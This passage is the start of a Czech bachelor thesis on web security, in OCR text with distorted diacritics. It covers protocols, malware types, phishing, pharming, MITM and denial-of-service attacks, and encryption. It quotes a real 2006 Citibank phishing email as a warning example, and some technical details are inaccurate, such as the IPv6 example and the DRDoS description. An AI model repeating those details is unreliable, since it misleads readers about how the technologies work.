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Bezpecnost na webu

Souhrn

Bakalatska prace seznamuje ¢tenare se zakladnimi pojmy tykajici se praci na webu.
Charakterizuje jednotlivé hrozby. Definuje pojem hacker a popisuje tii techniky napadeni
(odepfeni pristupu) serveru a utoky phishing, pharming a MITM. Nabizi pohled na
zabezpeceni na strané klienta (uzivatele) a technologie, jenz jsou pouzity serverem
k zabezpeceni. Soucasti prace je ukazka phishingového utoku na modelové strance

vytvofena autorem. Somostatny utok je vyzkouSen na autorovi.

Kli¢ova slova: HTTP (S), SSL, TLS, MALWARE, FIREWALL, ANTIVIRUS,
PHISHING



Web security

Summary

Bachelor thesis introduces the basic terms related to work on the website. Describes
the various threats. Defines the term hacker and describes three techniques of a server
attack-denial of access and attacks phishing, pharming and MITM. It shows a view on the
security of the client (user) and technologies that are used to protect the server. There is
also a part with an example of phishing attacks, which are created by the author and
simulated on fictional website. Author is testing the phishing attacks on reality-based

simulation by himself.

Keywords: HTTP (S), SSL, TLS, MALWARE, FIREWALL, ANTIVIRUS, PHISHING
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1. Uvod

V dnesni dobé& je web nedilnou soucésti kazdého z nas. Web ptinaSi mnoho vyhod
a pomoci webu spousta lidi dostane odpovéd’ na své otazky. Nekteii lidé hledaji informace
na webu, dalsi koukaji na videa, poslouchaji pisnicky nebo hraji pocitacové hry. Tyto
aktivity mohou ptinaset radost, ale i nezadouci problémy, které prameni z mozného

nebezpeci, které se skryva na webu.

Web je obrovskym zdrojem svobodnych informaci, ale tato svoboda zaroven dava

mnoha podvodnym zivlim velky prostor pro vyvijeni riznych podvodnych aktivit.

Pti vybéru tématu bakalatské prace hralo velkou roli spektrum problematiky tykajici
se prace na webu. Bezpe¢nost na webu je velmi dulezita a nezbytna ¢innost, na kterou

uzivatelé musi dbat a vyvarovat se piipadné neobezietnosti na webu.

Bezpecnost na webu neni jen o Skodlivych programech, ale i o0 zmanipulovéani
a obelhani uzivatelii. Velkou hrozbou zejména internetového bankovnictvi je utok, ktery
se nazyva “Phishing”, kterému je tato prace zejména v praktické ¢asti vénovana. Cilem

utoku je obelhani uZivatele a odcizeni citlivych informaci.

V prvni ¢asti prace bude vysvétleno neékolik dilezitych pojmi, déleni Skodlivych
programt, druhy ttokd, zabezpeceni na stran¢ klienta a serveru. Ve zminénych kapitolach
bude zejména neznalym Etenaiim strucné vysvétleno zakladni jadro problematiky
bezpec¢nosti na webu. Tyto kapitoly byly vybrany z diivodu celkové bezpecnosti na webu
a nejsou zcela nezbytné pro hlavni bod préce, ale k bezpe¢nosti na webu patfi a z toho

divodu byly zafazeny do prace.

V posledni ¢asti bude vytvorena ukézka phishingového Gtoku na modelové strance.
Utok nebude vefejné proveden, ale jeho funkénost a priibéh bude vyzkousen autorem s
fiktivnim zadavanim tudajt.

Znamé réeni "OPATRNOSTI NENI NIKDY DOST" plati na internetu mnohonasobné.
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2. Cil prace a metodika

2.1. Cil prace

Cilem bakalaiské prace je prozkoumat mechanizmus uspésného phishingového tutoku

a naprogramovat tento utok. Samotny phishingovy utok nebude proveden.
2.2. Metodika

V bakalatské praci budou popsany zékladni pojmy, hrozby, druhy utokl a zabezpeceni
na stran¢ serveru 1 klienta, které souvisi s praci na webu. V kapitole hrozby budou popsané
nejznaméjsi a nejvice obavané hrozby jako phishing, pharming, MITM (Men In The
Middle) a utoky typu DoS (Denial of Service). V praktické ¢asti bude vytvorena
a naprogramovana infrastruktura nutna pro provedeni phishingového ttoku. Samotny
phishingovy utok nebude proveden, ale jeho funk¢énost bude vyzkousSena autorem. Po
naprogramovani v§ech komponent k provedeni utoku, bude podvodna stranka testovana na
cilové skupiné. Vysledkem testu bude ovéfeni dlivéryhodnosti podvodné stranky.

Pottebny skript k odeslani pfihlaSovacich udajii nebude aktivni.

Resersni ¢ast vychazi z odborné literatury a renomovanych internetovych zdroji

v ¢eském i anglickém jazyce.
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3. Teoreticka vychodiska

3.1. Zakladni pojmy

3.1.1. HTTP

mezi klientem a serverem. Tento protokol je jednoduchy a obsahuje nékolik piikazt
K ptenosu dat pomoci URL adresy. Vyuziva standardi MIME, ¢imz Ize rozsifrovat format.

Klienty HTTP si miizeme ptedstavit webové prohlizeée a servery jako webové servery,

kde jsou data fyzicky ulozena (Basith, 2012).

sends password H I I P Receives password

—

Hacker hacks the link
and gets your password
“helloworld”

Obrazek ¢. 1: HTTP protocol
Zdroj:
http://3.bp.blogspot.com/_DDgbEUQESHE/TPII6UVHYUI/AAAAAAAAAO0/Augm3tIZnTQ/s1600/http-
without+ssl.PNG

3.1.2. HTTPS

HTTPS (HyperText Transfer Protocol over Secure socket layer) je zabezpecené
spojeni mezi serverem a klientem (zabezbecena pied odposlouchavanim apod.). Data jsou
pomoci SSL (Secure Socket Layer) nebo TLS (Transport Layer Protocol ) Sifrovana
(Basith, 2012).

sends password

HTTPS

“Xu387Tyus)”

Receives password

Hacker hacks the link
and gets password as
“Xu587Tyus)”

Obrazek ¢. 2: HTTPS protocol
Zdroj:
http://4.bp.blogspot.com/_DDgbEUQESHE/TPIISHNL1OI/AAAAAAAAAOK/VICZ2jgc7A/s1600/https-
with+ssl.PNG
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3.1.3. IP adresa

IP adresa je ¢islo, kterym se identifikuje sitové rozhrani. IP je internetovy protokol.
S IP adresou souvisi i1 skupina protokoltit TCP/IP. IP se stara o rozliSeni jednotlivych

sitovych rozrani a TCP je transportni protokol (Petrowski, 2013).

Nejpouzivangjsi standard protokolu IP je IPv4, ktery se sklada ze Ctyr ¢isel od 0 do
255 oddélené teckami. S rostoucim pocétem zaiizeni, které se piipojuji k internetu musel
byt zaveden kviili hrozicimu nebezpeci, Ze nebude dostatek volnych IP adres novy

standard IPv6. Tento novy standard je tvofen osmi hexadecimalnimi Cislic (Petrowski,
2013).

Ukéazka (Petrowski, 2013):
IPv4 —112.14.38.0

IPv6 — 2012:00e1:1244:1232:0000:1111:0ala

3.1.4. DNS server

Pfi zadavani vami poZadované internetové stranky nezadavate jeji IP adresu
(217.31.205.51), ale www.nic.cz. Pro ¢lovéka je piijemnéjsi si zapamatovat jeji nazev nez
jeji IP adresu, ale poéita¢ to ma presné naopak. Reseni se nazyva DNS (Domain Name
System) server. Jedna se o pocitatova zatizeni pfipojena k internetu, které prekladaji vami
zadany nazev na odpovidajici IP adresu. Pfi zadani adresy se pocitac zepta DNS serveru
na odpovéd’ (pozadovanou IP adresu). Pokud odpovéd’ nezna, tak se zepta dalSiho
hlavniho DNS serveru, kterych je 13. Pokud ani on nezna odpovéd’, tak se zepta
zbyvajicich DNS serveru a vy dostanete pozadovanou odpovéd’ (O DOMENACH A DNS,
2016).
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http://www.nic.cz/

Root server

1. www.nic.cz?
2. ns.tlid.cz, ns-cz.ripe.net, ...

Lokalni ns.tld.cz
DNS
- 3. www.nic.cz? .
S a3 » >
SO S
4. a.ns.nic.cz, b.ns.nic.cz, ...
5. www.nic.cz?
7. Obsah 6. 217.31.201.43 ,
stranky a.ns.nic.cz

217.31.201.43

Obrazek €. 3: Schéma prace DNS server
Zdroj: https://www.nic.cz/page/312/0-domenach-a-dns/

3.1.5. URL

Zkratka URL (Uniform Ressource Locator) znamena “jednotny lokator zdroju‘
a slouzi k presné specifikaci ulozisté internetovych informaci. Pro uZivatele to znamena,
Ze stac¢i zadat pouze URL a o zbytek se postara internetovy server to znamena, Ze uZivatel

nepotiebuje védét, kde webova stranka je fyzicky ulozena (Petrowski, 2013).

3.1.6. FTP

FTP (File Transfer Protokol) slouzi k pfenosu souborit mezi pocita¢i pomoci
pocitaove sité. Patii do skupiny protokolu TCP/IP a je jednim z nejstarSich z nich. Je

uréen k rychlému ptenosu souboru. (Petrowski, 2013)

3.2. Hrozby - Malware

Uz od vynalezeni prvniho pocitace jsou pocitate ohrozovany riznymi hrozbami.
V této kapitole se seznamime s nékterymi z nich. Utok na nas pocita¢ mize byt typu

otevirani mechaniky aZ po odcizeni osobnich tdaji véetné financi (Jirovsky, 2007)

a (Ludvik, 2008).
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Malware je program, ktery je urcen k infiltrovani nebo poskozeni pocitacového
systému. Oznaceni MALWARE vznikl slozenim anglickych slov ”malicious* a ’software*
Vv Cestiné by toto oznaceni znamenalo ,,Zakeiny program®. PocitaCova necistota, tak je
malware nazyvam v pravnické terminologii. Do této skupiny fadime pocitacové
viry, trojské kon¢, spyware a adware. U béznych uzivatelti se uchytil vyraz ”virus®, a tim
bézny uzivatel nazyva vSechny typy vniknuti a nerozeznava, jestli se jedna o trojského
koné nebo ¢erva. Cilem malwaru nebylo vzdy poskodit uzivatele, ale napiiklad napsat
program, ktery bude uZzivatele otravovat, nez poskozovat napt. otevirani oken v prohlizeci
¢i vysouvani a opétovné zasouvani mechaniky, takze ze zacatku tyto programy byly psany
jako zertiky a mladi programatofi si timto rozsitovali své obzory a své dovednosti.
Postupem casu se ”zaketnosti* tohoto programu pouzivali jako zplisob poskozeni ¢i
sledovani uzivatele s tim se stal tento program nepfitelem vSech pocitact na svété.
Programatofi se vznikem této hrozby déli na ”hodny* a ”’zly*“. Ti hodni pracuji jako 1€k
proti viru a na ochrané pocitace proti nakazeni virem. Ti zli zase naopak pracuji a snazi se
do ciziho pocitace vniknout a zpusobit Skody napt. odcizeni dat, smazani dat z disku apod.

(Jirovsky, 2007) a (Ludvik, 2008).
Rozdéleni malware (Netrval, 2008) a (Petrowski, 2013):

3.2.1.1 Bootviry
Jedna se o viry, které napadaji boot sektor nebo partition tabulku pevného disku.
Pii zapnuti pocitace se aktivuji a prevezmou vladu nad funkcemi systému. Pokud virus je
umistén resp. obsadil partition tabulku, tak Ze jeji obsah uloZi a tim se tabulka jevi jako

spravna.

Tento vir se §ifi pfes boot sektory disket. Virus se nabootuje do opera¢niho
systému, tim ze infikovanou disketu nechame po vypnuti resp. pred zapnutim v mechanice

a pii spusténi pocitace se nabootuje do systémové oblasti pocitace.

3.2.1.2 Souborové viry
Dal§im druh viru napada spustitelné soubory (programy). Jsou to zejména
programy s koncovkou .exe, .bat, .sys apod. Po spusténi infikovaného programu se virus
nahraje do opera¢ni paméti a stava se z n&j jiz zminény rezidentni vir. Sifi ze dvémi
zptisoby. Prvni zplisob zpociva v tom, Ze prodlouzi soubory resp. ptipoji své télo za

puvodni soubor s informaci, Ze nejdiiv se pifi spusténi aktivuje virus a nasledné ptivodni
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soubor. Tento zptsob Ize odhalit porovnéani délek ptivodniho a infikovaného souboru.
Dalsi zptisob je piepsani ptivodniho souboru. Délka bude sice stejnd, ale ¢innost
puvodniho souboru je znicend. Dal§im poddruhem souborovych virt jsou clusterové viry,
které Castecné prepisuji FAT tabulku, coz ma za vysledek zménu adresaiové informace
daného souboru. Tim se piesméruje ukazatel ze souboru na kod viru. Ve vysledku to

znamena, ze soubor je infikovan, ale vir se v ném nenachdzi a je obtizné ho detekovat.

3.2.1.3 Multiparitni viry

Multiparitni vir je vir, ktery mé pozitivni vlastnosti bootvirti a souborovych virt.
Tyto viry dokaZzi infikovat zavadéci oblast disku a spustitelné soubory. Pfi utoku na
soubor mohou multiparitni viry pouzit libovolny postup souborové infekce a napadeni

systémové oblasti je shodné s technikami pouzivanymi béznymi bootviry.

3.2.1.4 Makroviry
Makroviry jsou psany v pokrocilych makrojazycich. Predstavuji nejvétsi hrozbu
Z jiz jmenovanych druhil. Nejbéznéjsim cilem viru je program kancelatrského baliku
Microsoft Word, ktery obsahuje makra vybavena klonem programovaciho jazyka. Druhou
pricku v Zebticku zaujimé Excel. Hlavni divod §ifeni tohoto viru pies tyto dokumenty je
nejbéznéjsi typ dokumentu, ktery se $iti (vyméiuje) mezi uzivateli.
3.21.5 Cervi
Specialni druh viru, ktery pracuje na nizsi sitové Grovni nez bé&zné viry. Siti se
oproti nim pomoci sitovych paketi, ¢imz se nakazi systém. NakaZeny systém posle
nakaZené pakety v siti internet. Tento paket dorazi k dal§imu systému se specifickou

bezpecnostni dirou a mize nakazit dalsi systém. Tomuto paketu se fika “Cervi* paket.

Cervi paket je zaloZen na zneuZivani bezpe¢nostnich dér operaéniho systému. Cerv
se dnes §ifi pfes internet, e-mail apod.V e-mailu jako ptiloha s béZnym nazvem napf.
foto.jpg, ale ve skutecnosti jejich cely nazev je napt. foto.jpg.vbs. Je to dano nastavenim

skryvanim piipon souboru.

3.2.1.6 Trojské koné
Tento typ Skodlivého kodu neumi na rozdil od virti sebe-replikace a infikace
soubort. Trojsky kin vstupuje do systému pod spustitelnym souborem typu .exe.

Obsahuje samotné télo trojského kon€ a ma rtizné funkce.
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3.2.1.7 Spyware
Spyware je Skodlivy program, ktery se chova jak tajny agent, ktery zkouma a sbira
informace o tom na jaké stranky internetové chodite ¢i jaké si instalujete programy. Tyto
informace posbira a odesle. Vse se provadi bez védomi uzivatele. Tento program je
obhajovan pro vyuziti jako cilena reklama a Casto se Sifi spole¢né se sharewarovymi

programy.

3.2.1.8 Adware
Adware neni Skodlivy, ale otravujici program, ktery obtézuje uzivatele napf-.
s vyskakovanim pop-up oken béhem prohlizeni internetovych stranek. Jedna se vétSinou

0 reklamni bannery.
3.3. Druhy utoki

Nez za¢neme s konkrétnimi zadkladnimi utoky méli bychom si fict néco méalo
0 utoénikovi. Uto&nik neboli hacker je po¢itadovy specialista, ktery o poditatovém
prostiedi vi hodné. Zamér hackera neni zneuzivat informace nebo ni¢it. Utoénik, ktery ma

zamér poskodit ¢i odcizit informace se nazyva cracker.

V roce 1986 jisty “Mentor* sepsal tzv. Hackeriiv manifest. Ve kterém se pise
nasledujici uryvek textu: ,, ... Ano, jsem zlocinec. Mym zlocinem je zvédavost. Mym
zloc¢inem je posuzovani lidi podle toho co Fikaji a co si mysli a ne podle toho, jak vypadaji.
Muyj zlocin je to, Ze jsem chytrejsi nez ty, coz je véc, kterou mi nikdy neodpustis. Jsem
Hacker a toto je muj manifest. MiiZete zastavit jednotlivce, ale nemiizete

«

nds zastavit vsechny... *
Typy uto¢nika (Netrval, 2008):

Hacker — osoba, ktera vyuziva své znalosti k odhaleni skrytych mist k proniknuti do

serveru a sbér informaci o ném

Cracker — osoba, ktera vytvoii program tzv. Crack, ktery nahradi pivodni soubor
(bezpecnostni soubor). Tim se odstrani podminky resp. omezeni, které se stahuje na dany
program. Nejcastéji se vyuziva pii cracknuti her -> uzivatel stdhne hru, ale k jejimu
spusténi potiebuje napiiklad kli¢, ktery je dodavan k originalni hie. Pomoci cracku piepise

puvodni spustitelny soubor a vygeneruje si pomoci KeyGenil novy kli¢, ktery hra piijme.
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Phreakt — osoba, ktera se zamétuje na vniknuti do telekomunikaénich systémt, kde

mohou napiiklad odposlouchavat hovory, volat na ucet nékoho jiného apod.

Rhybart — osoba, ktera se zamétuje na odcizeni citlivych informaci jako jsou
naptiklad udaje o platebnich kartach vcetné hesla a jména (s t€émito informaci Ize “vysat”

bankovni konto).

Lamer — osoba, kterd nema zkuSenosti a dostatecné znalosti na to, aby se stala

hackerem. Je to pfedchidce hackera.

Po vyjmenovani druhi Gto¢niki je vidét, Ze hacker neni na strané zla, jak si vétSina
lidi mysli. Hacker se snazi pomoc ostatnim tim, Ze jim pfeda utajenou informaci ze server.
Zastava prislovi, ze informace maji byt volné piistupné ostatnim.

Existuje otazka proc€ to vlastné délaji, co z toho maji? Odpovéd’ je pro kazdého
jina, ale mezi nejhlavné&jsi odpovédi patii (Petrowski, 2013):

Zvédavost — zajima je co se schovava pod “poklickou” napt. n¢jaké udalosti

Seberealizace — dokazat si, ze je opravdu dobry ve svém oboru

Finance — ziskani finan¢nich prostiedki

Skodit — uspokojeni svych moralnich potieb (zptisobit problémy nebo skodu
druhym)

Slava — proniknuti do velké korporace (server) jim zajisti sldvu a stanou se
znamymi po sveéte

Néapomocnost — snaZi se své dovednosti a znalosti vyuzit k pomoci ostatnim.
3.3.1. Phishing

Phishing je nejpouzivanéjsi technika k ziskavani osobnich informaci, které na sebe
prozradi sama obét’. Utok je realizovan vétsinou pomoci podvodného e-mailu, ktery
uto¢nik hromadné rozesle. Podvodny e-mail je veden zejména k ziskani penczitych
prostiedki. Podvodné e-maily vypadaji, Ze ptichazi ze spofitelen, bankovnich instituci
nebo socidlnich siti. Ptijaté e-maily maji charakter vyvijeni tlaku na obé€t), tak aby
donutily obét’ panikafit a tim dostal uto¢nik pozadované informace. V e-mailu mize

byt napt. Ze na osobnim uctu obéti byla provedena podeziela platba a aby obét’
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zkontrolovala platbu. Pro kontrolu platby je v e-mailu pfipojen odkaz na podvodnou
stranku s totoZznymi prvky, které jsou na skute¢né strance avsak po doplnéni
piihlaSovacich udaja jsou tidaje odeslany uto¢nikovi a nic netusici obét’ je
piesmérovana na skute¢nou stranku s domnénim Spatné¢ zadané kombinace

prihlasovacich udaji (Dzubdk, 2016).

Nazev vznikl z anglického slova fishing (Cesky rybateni), protoze se Gtok chova
totozn¢ jako rybatreni. Rybar si pfipravi veskeré potfebné komponenty k rybareni a
vyrazi k vodeé s cilem ulovit rybu. Nahodi udici a ¢ekd dokud ryba nezabere a on
nevytahne rybu. Takto se chova Gto¢nik pfi realizaci phishingového ttoku, ale za
pouziti pocitaCové techniky a s tim rozdilem, ze se snazi ukofistit idaje obéti a pouzit

je pro svuj prospéch (Phishing a pharming, 2015).

Existuje take phishingovy utok, ktery ma dan konkrétni ter¢. Tento druh
phishingového ttoku je nazyvan “spear phishing” (Co je spear phishing, 2015).

Definice spear phishingu podle (Co je spear phishing, 2015):

Spear phishing je cileny emailovy podvod provadeény za ucelem ziskani neoprdavnéného
pristupu k citlivym udajum. Na rozdil od beznych phishingovych podvodii, které jsou
Sireny nahodile a nejsou konkrétné zameérené, je spear phishing presné cileny na konkrétni
skupinu nebo organizaci. Cilem je kradez dusevniho viastnictvi, financnich udaju,

obchodnich nebo vojenskych tajemstvi a jinych diivernych informaci.

3.3.1.1 Jak poznat podvodné stranky

V adresnim fadku prohlizece neni totoZny nazev jako u skute¢né stranky. VétSinou
komunikace neni zabezpecena (https protokol), ale je vetejna (http protokol).
Bankovni instituce, spofitelny apod. pouzivaji zabezpecenou komunikaci mezi

klientem a serverem viz obrazen ¢. 4 (Dzubak, 2016).

N.servis24.cz

o Vazeny uzivateli, pouzivanim SERVIS 24 souhlasite s pou

SERV'S.24 @ 956 777 956

INTERNETBANKING

Obrazek ¢. 4: Zabezpeceni skutecné stranky
Zdroj: upraven autorem z: https://www.servis24.cz/ebanking-s24/ib/base/usr/aut/login?execution=e1s1
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V e-mailu jsou pozadované informace, které jsou soukromé a zadna bankovni
instituce, spofitelna apod. by neméla pozadovat napf. Cislo platebni karty, datum

expiracni doby a CVC2/CVV2 kadd (tfimistné ¢islo na zadni stran¢ karty).
3.3.1.2 Zajimavé priklady phishingu
V bieznu 2006 byl zaznamenan prvni ¢esky utok, tentokrat na klienty CityBank

(Dzubak, 2016). Klientdm byl poslan mail (PHISHINGOVY UTOK NA CESKE
KLIENTY, 2016):

Vazeny kliente Citibank Online®,
03/02/2006 na Vas bezny ucet byl prijat prevod v cizi méné na castku ve vysi 2000 . Se
shodou s spotrebitelskym souhlasem CitiBank® online, je potreba potvrdit tento prevod
pro jeho uspésné zarazeni na Vas bézny ucet.
Pro potvrzeni platby Vas prosim o navstévu programu ovladani Vasim uctem CitiBank®
online a dadle postupujte podle predlozeného navodu. V pripadé neprijeti potvrzeni

V priibéhu 48 hodin, bude castka vracena odesilatel.

Pro vstup do programu CitiBank® online, kliknéte sem >>>

S pozdravem

Sluzba CitiBank® Alerting Service
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0d: Citibank Online <alerts@citibank.cz>
Datum: 8:53
Komu:

citibank

Serial EM202-16

Vvazeny kliente Citibank Online®,

03/02/2006 na Vas béZny ucet byl pFijat pfevod v cizi méné na &dstku ve
v¥3i 2000 . Se shodou s spo¥iebitelskym souhlasern CitiBank® online, je
potFeba potvrdit tento pFevod pro jeho dspésné zafazeni na Va5 béZny ddet.

Pro potvrzeni platby Vds prosim o ndv3tévu programu ovlddani Yasim
aétern CitiBank® online a déle Eostupujte podle predloZeného ndvodu. ¥
pfipad& nepfijeti potvrzeni v prub&hu 48 hodin, bude &astka vracena
odesilateli.

Pro vstup do programu CitiBank® online, kliknéte sem >=>>

S pozdravem
SluZba CitiBank® Alerting Service

E[ http:jciti-online. czechrepublic-online. com/ 4

Obrazek ¢. 5: Podvodny e-mail
Zdroj: http://www.hoax.cz/data/hoax/249.jpg

Po kliknuti na odkaz byl klient pfesmérovan na podvodnou stranku. Z klienta

CityBank se razem stala obét’.
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Obrazek ¢. 6: Podvodna stranka
Zdroj: http://www.hoax.cz/data/hoax/252.jpg

21


http://www.hoax.cz/data/hoax/249.jpg
http://www.hoax.cz/data/hoax/252.jpg

3.3.2. Pharming

Pharming je vylep$enou verzi phishingového ttoku. Utok je teZce odhalitelny
a vyuziva specialni pocitacové programy (soubor hosts), které napadne a upravi je.
Utoénik nahradi domény bankovnich instituci, spofitelen apod. svymi podvodnymi
strankami, kam obét’ pii zaddni ndzvu domény bude presmérovana. U Pharmingu je
obtizné pro obét’ zjistit, Ze se stala ter¢em utoku, protoze zde nehraje zadnou roli
podvodny e-mail nebo odkaz, ktery byl obéti zaslan. Po upraveni souboru nastava faze

¢ekani. Obét po zadani doménové adresy (napi. WWWw.Servis24.cz) je piesmérovana na

podvodnou stranku. Dalsi kroky uto¢nika a obéti jsou shodné jako u phishingového utoku

(Phishing a pharming).
3.3.3. MITM

MITM (Man In The Middle) lze prelozit jako ,,Clovek uprostied™ a jeho podstata je
Vv tom, ze odposlouchava komunikaci dvou uzli, tim padem vznika uzel tieti, ktery se
stava spojnikem mezi pivodnimi uzly. VeSkera komunikace koncovych uzli je vedena
pres uzel teti. Tieti uzel predstavuje Gito¢nika, ktery mize sledovat, ale i ménit obsah

komunikace. Koncové uzly samoziejmé o mezi¢lanku nemaji ponéti (Petrowski, 2013).

MITM attaque passive
€3

Obrazek €. 7. Sledovani a ménéni obsahu konverzace
Zdroj: https://upload.wikimedia.org/wikipedia/commons/2/2a/Attague_Man_In_The Middle.jpg
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3.3.4. Utoky typu DoS

Tento druh ttoku je ve své podstaté jednoduchy. Utoénik se snazi donutit po¢itaé
ob¢ti k restartu anebo k preteceni (nestaci ji vlastni zdroje k ¢innosti), aby nemohl dale

pracovat a vykonavat svoji ¢innost (Ptibyl, 2006).

Pro lepsi pochopeni si DoS (Denial of Service) ukazeme na néjakém praktickém
ptikladu napi. e-mailova schranka. V prvnim kroku si feknéme, Ze e-mailova schranka
dokaze ptijmout (zpracovat) napt. 1 000 e-maill za hodinu (je to jen hypoteticky ptiklad).
Jestlize se uto¢nik rozhodne odvafit urcitou e-mailovou schranku, tak ji bude ze svoji
e-mailové schranky posilat 100 000 e-maila za hodinu. To zplsobi, ze e-mailova schranka
prijme pouze 1 000 e-mailt a 99 000 e-maili neptijme. Ve vysledku to bude vypadat
tak, Ze obét’ bude mit plnou e-mailovou schranku od uto¢nika, ale své soukromé ¢i
pracovni e-maily budou bud’ nepiijmuty (ve vétsing piipad) nebo mezi nimi (jehla
v kupce sena)(Ptibyl, 2006).

3.3.5. Utok typu DDoS

Tento typ utoku je vylepSena verze DoS utoku se stejnym cilem odepteni sluzeb.
Distribuovany utok DoS vyuziva k napadeni serveru tisice az statisice pocitacovych

systémii (Balazik, 2014).

DDoS (Distributed Denial of Service) 1ze popsat pomoci nékolika fazi. Prvni faze
spociva v tom, Ze utoc¢nik napadne nekolik (tisice, statisice) pocitacovych systémii, do
kterych nainstaluje ptislusny software. Jakmile tak ucini nastava faze ¢islo dvé. Ve druhé
fazi utoCnik vybere server, ktery chce napadnout a ze vSech pocitacovych systému, které

v minulosti napadl hromadné zatto¢i na server (Balazik, 2014).

Pro lepsi pochopeni si DDoS utok ukdZeme na praktickém piikladu napft. plavani
V bazenu. Dejme tomu, Ze na internetu se domluvi dvé ucitelky, ze vezmou svoji tiidu
a puijdou plavat do mistniho bazénu. Bazén ma kapacitu 100 osob a v kazd¢ tfid¢€ je 30
studentl. Za danych podminek by bazén 60 studentli pojmul a jesté¢ by mél 40 osob
rezervu. Co by se stalo, kdyby stejny napad dostaly i dalsi dve ulitelky ze sousedni skoly?
Bazén by nemohl vykondvat svoji sluzbu (Balazik, 2014).
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V pocitatovém svété by se tento itok mohl vést k zhrouceni internetové schranky.
Dejme tomu, Ze stranka pocitac.cz je stavén na 100 lidi, ktefi si ve stejny ¢as prohlizi tuto
stranku. Co by se stalo kdyby si ve stejny okamzik tuto stranku prohlizelo 1000 lidi?
Stranka by se nékterym nenacetla, pro dalsi by byla Spatné€ zobrazena apod., a tim by

ptestala poskytovat svoji sluzbu uzivateltiim (Balazik, 2014).
3.3.6. Utok typu DRDoS

DRDoS (Distributed Reflection Denial of Service) ttok 1ze charakterizovat jako
novou formu SYN flood Gtoku. Tento utok funguje tak, ze Gto¢nik posila na server pakety

s ptikazem SYN (pro navazani spojeni) pfi¢emz cilova adresa je adresa server, ktery bude

napaden (Cmelik, 2004).

Servery pfijmou paket s ptikazem SYN a odeslou paket s ptikazem SYN/ACK
(potvrzeni navéazani spojeni) na cilovou adresu (napadeny server). Ten si ovSem zadné
spojeni nevyzadal, tak paket s pfikazem SYN/ACK zahodi. Spravné to funguje tak, ze
pokud by si spojeni vyzadal, tak by server odeslal zpét paket s prikazem ACK jako
potvrzeni spojeni. JestliZze server nedostane paket s pfikazem ACK, tak zasle znovu paket
s piikazem SYN/ACK s doménim, Ze se paket nékde ztratil. Toto se opakuje dokud server
nezahlti paket s piikazem SYN/ACK (Cmelik, 2004).

3.4. Zabezpeceni na strané serveru

3.4.1. Otisk

Otisk (hash) je funkce, ktera vstupni data pomoci algoritmu ptevede do fetezce.
Vystup se oznacuje jako otisk (hash) a sloZi ke kontrole integrity mezi uzivateli
resp. kontroluje jestli zpravu nikdo nezménil po cesté. Otisk ma vzdy stejnou délku (Hash,

2016).
Piiklady (Hash, 2016):
password -> 5baa61e4c9b93f3f068225006cf8331b7ee68fd8

passwork -> 727fc2719077df003bf305600d2bec45c060e526
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Eli, pan Larsen nesral na pile -> 825a9fcOeelalaf574a955ad7¢2656db6153184e
Eli, pan Larsen nespal na pile -> 4c1fd04c581afbc0282c55a9806h8f86058825a4

Zde je vidét, Ze i sebemenci zména vede K uplné zméné otisku.
3.4.2. Symetrické Sifrovani

Tento typ Sifrovani je zndm i pod pojmem konvencni Sifrovani. Pro Sifrovani
pouziva pouze jeden kli¢, ktery je zndm obéma stranam (Sifrovani, deSifrovani). Nevyhoda
tohoto Sifrovani je, ze kli¢ pfi Sifrovani musi byt poslan i druhé strané k deSifrovani, tim
vznika nebezpeci a kli¢ musi byt poslan zabezpecenym prenosem popiipade predan

osobné. Vyhodou symetrického Sifrovani je rychlost (ScheRas, 2013).

Symetrické Sifrovani

Holy text
i Zafifrovani autorem
R —— nsnes
e e _— S
Sdileny Nezaberpedeny
Hols text kiE kanal

Tajnd TIsEDCT
Zpriva -l — i | oup

Dedifrovani pfijemcem

Obrazek €. 8: Schéma symetrického Sifrovani
Zdroj: http://sandbox.cz/~varvara/El_podpis/index.html

3.4.3. Asymetrické Sifrovani

Asymetrické Sifrovani vyuziva dva klice — vetfejny a soukromy klic. Pfijemce
vygeneruje oba klice s tim, Ze soukromy kli¢ si ulozi na bezpecné misto u sebe a vetejny
kli¢ posle odesilateli, ktery pomoci n€ho zaSifruje zpravu a jediny kdo ji miZze deSifrovat

je piijemce pomoci soukromého kli¢e (ScheRas, 2013).
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Asymetricke sifrovani

Hol text o
Zafifrovani autorem
Tajnd - JUEDCT
Zprdva YV ZAF
WVefeny klie
fjemce o
i Hezabezpeteny
— kanal
Holy text Tany kit
pfijemce
Tajnd JUEDCT
zprava -l — - | oar

Dedifrovani pfijemcem

Obrazek ¢. 9: Schéma asymetrického Sifrovani
Zdroj: http://sandbox.cz/~varvara/El_podpis/index.html

3.4.4. Elektronicky podpis a certifikdat

3.4.4.1 Elektronicky podpis

Elektronicky podpis je datovy soubor, ktery pfipojite k dokumentu a tim

potvrzujete, ze dokument jste podepsali pravé vy a Ze nebyl po podepsani zménén.

Dokument s elektronickym podpisem muze obsahovat i ¢asové razitko, které

potvrzuje, kdy byl dokument podepsan. K vytvofeni elektronického podpisu musite mit

certifikat, ktery mize vystavit pouze spolec¢nosti certifikacnich autorit. K elektrickému

podpisu potiebujete mit 1 soukromy kli¢, pomoci kterého zpravu zasifrujete. Tento kli¢ se

vétsinou uklada na ¢ipovou kartu odkud ho nelze zkopirovat (Jirotka, 2014).

princip elektronického (digitalniho) podpisu

otevieny text
(plvodnl zprava)

odesilatel

hash algoritmus

soukromy klic

elektronicky podpis

W Fa
otevieny text prijemce
(plvadni zprava)
hash algoritmus -hashl
INTERMET|
elektronicky podpis

hashl = nezavisly vypocet hashe ze zpravy
hash2 = desifrovani hashe pomoci vefejného klice autora

Obrazek €. 10: Princip elektronického podpisu
Zdroj: http://zmsoft.cz/index.php?str=digitalni_podpis&hid=3&idmh=3
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3.4.4.2 Certifikat

Pro vydani certifikatu certifika¢ni autoritou musi uzivatel vygenerovat dvojici
klict - verejny a soukromy kli¢. Po vygenerovani kli¢li uzivatel podé zadost u certifikacni
autority. Zadost obsahuje identifika¢ni udaje o uZivateli a jeho vygenerovany veiejny klic.
Z4dost zasifruje svym soukromym kli¢em a odesle certifika¢ni autorité a po jejim ovéfeni

certifikaéni autorita vystavi certifikat (Jirotka, 2014).

€ }

-
- %

goner ovini dopt ava poti ebiych dokusnenti ovéient Zidosti

s klica a zadosti na Registy acid autor ity 1 Fegistrachl atorite

=
=

nstalace cenifikaty e-mnail wdani certifikatu CA

Obrazek ¢. 11: Ziizeni certifikatu
Zdroj: http://www.zijemenaplno.cz/Clanky/a386-Elektronicky-podpis-sikovny-ale-slozity.aspx

3.4.5. SSL

ZjednoduSené feceno SSL (Secure Socket Layer) je protokol, ktery garantuje
